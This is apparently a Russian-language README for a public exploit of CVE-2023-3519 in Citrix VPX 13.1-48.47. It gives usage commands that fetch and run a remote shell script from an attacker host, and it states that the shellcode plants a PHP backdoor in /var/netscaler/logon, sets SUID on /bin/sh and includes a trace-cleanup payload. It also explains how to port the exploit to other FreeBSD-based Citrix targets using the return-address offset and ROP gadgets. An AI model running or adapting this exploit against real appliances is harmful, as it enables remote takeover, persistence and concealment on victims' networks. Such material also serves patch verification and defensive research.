
Этот эксплойт использует адреса и shellcode для Citrix VPX 13.1-48.47. Полный разбор доступен здесь.
Для сборки shellcode требуется NASM.
$ sudo apt install nasm
Включённый shellcode загружает и запускает shell-скрипт с удалённого http(s)-сервера. Скрипт принимает 3 аргумента: целевой хост, целевой порт и URL полезной нагрузки в виде shell-скрипта. Пример полезной нагрузки, которая выполняет id и uname -a, а затем убирает за собой следы, включён в этот репозиторий.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
URL должен быть достаточно коротким, чтобы поместиться в буфер shellcode; если он слишком длинный, вы получите предупреждение.
Shellcode создаст PHP-бэкдор в /var/netscaler/logon/a.php и установит SUID-бит на /bin/sh. Включённая полезная нагрузка sh показывает пример автоматической очистки этих артефактов. Также обратите внимание, что shellcode не закрывает свои файловые дескрипторы, поэтому чрезмерно частое повторное использование эксплойта может привести к исчерпанию ресурсов.
Для целей Citrix на базе FreeBSD вам, скорее всего, понадобится найти лишь 3 значения: смещение сохранённого обратного адреса, ROP-гаджет jmp rsp (или что-то эквивалентное, например push rsp; ret;) и адрес перехода, чтобы избежать аварийного завершения. Эти параметры жёстко заданы в начале файла cve-2023-3519.py.